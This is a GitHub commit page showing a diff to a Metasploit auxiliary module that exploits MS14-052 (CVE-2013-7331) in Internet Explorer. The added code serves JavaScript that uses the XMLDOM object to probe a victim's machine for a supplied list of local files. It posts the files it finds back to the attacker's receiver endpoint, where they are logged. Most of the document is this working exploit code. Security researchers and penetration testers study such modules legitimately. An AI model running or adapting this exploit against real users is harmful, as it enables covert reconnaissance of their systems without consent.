Skip to content

Commit 68624dd

Browse files
committed
Final for ie_files_disclosure.rb
1 parent b0b1777 commit 68624dd

File tree

1 file changed

+76
-12
lines changed

1 file changed

+76
-12
lines changed

modules/auxiliary/gather/ie_files_disclosure.rb

Lines changed: 76 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -11,37 +11,54 @@ class Metasploit3 < Msf::Auxiliary
1111

1212
def initialize(info={})
1313
super(update_info(info,
14-
'Name' => "Microsoft Internet Explorer XMLDOM File Disclosure",
14+
'Name' => "MS14-052 Microsoft Internet Explorer XMLDOM Information Disclosure",
1515
'Description' => %q{
16-
This module will use an XMLDOM object to leak a remote user's filename
16+
This module will use the Microsoft XMLDOM object to enumerate a remote user's filenames.
17+
To use it, you must supply your own list of file paths. Each file's format should look like this:
18+
c:\\\\windows\\\\system32\\\\calc.exe
1719
},
1820
'License' => MSF_LICENSE,
1921
'Author' => [ 'sinn3r' ],
2022
'References' =>
2123
[
22-
[ 'URL', 'http://metasploit.com' ]
24+
[ 'CVE', '2013-7331'],
25+
[ 'URL', 'https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/' ],
26+
[ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi' ]
2327
],
2428
'Platform' => 'win',
2529
'Targets' =>
2630
[
27-
[ 'Generic', {} ],
31+
[ 'Internet Explorer', {} ],
2832
],
29-
'DisclosureDate' => "Apr 1 2013",
33+
'DisclosureDate' => "Sep 9 2014", # MSB. Used in the wild since Feb 2014
3034
'DefaultTarget' => 0))
35+
36+
register_options(
37+
[
38+
OptPath.new('FILES', [ true, 'A list of files to enumerate. One absolute file path per line.' ])
39+
], self.class
40+
)
3141
end
3242

3343
def js
44+
target_files = parse_target_files
45+
js_target_files = target_files * ','
46+
3447
%Q|
48+
#{js_base64}
3549
#{js_ie_addons_detect}
50+
#{js_ajax_post}
51+
52+
var foundFileString = "";
3653
3754
window.onload = function() {
38-
var files = ['c:\\\\windows\\\\system32\\\\calc.exe'];
55+
//var files = ['c:\\\\windows\\\\system32\\\\calc.exe'];
56+
var files = [#{js_target_files}];
3957
var foundFiles = ie_addons_detect.checkFiles(files);
40-
if (foundFiles.length > 0) {
41-
alert(foundFiles);
42-
} else {
43-
alert("nothing found");
58+
for (var file in foundFiles) {
59+
foundFileString += foundFiles[file] + "\|";
4460
}
61+
postInfo("#{get_resource}/receiver/", foundFileString, true);
4562
};
4663
|
4764
end
@@ -64,8 +81,55 @@ def run
6481
exploit
6582
end
6683

67-
def on_request_uri(cli, request)
68-
send_response(cli, html)
84+
def parse_found_files(cli, req)
85+
return if req.body.blank?
86+
87+
files = req.body.split('|')
88+
unless files.empty?
89+
print_good("We have detected the following files:")
90+
files.each do |f|
91+
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
92+
print_good(f)
93+
end
94+
end
95+
end
96+
97+
def parse_target_files
98+
@files ||= lambda {
99+
files = []
100+
buf = ::File.open(datastore['FILES'], 'rb') { |f| buf = f.read }
101+
buf.each_line do |line|
102+
if line =~ /^[a-z]:\\\\.+/i
103+
files << "'#{line.strip}'"
104+
end
105+
end
106+
107+
return files
108+
}.call
109+
end
110+
111+
def is_target_suitable?(user_agent)
112+
info = fingerprint_user_agent(user_agent)
113+
if info[:ua_name] == HttpClients::IE
114+
return true
115+
end
116+
117+
false
118+
end
119+
120+
def on_request_uri(cli, req)
121+
unless is_target_suitable?(req.headers['User-Agent'])
122+
send_not_found(cli)
123+
return
124+
end
125+
126+
case req.uri
127+
when /receiver/
128+
parse_found_files(cli, req)
129+
else
130+
print_status("Sending HTML.")
131+
send_response(cli, html)
132+
end
69133
end
70134

71135
end

0 commit comments

Comments
 (0)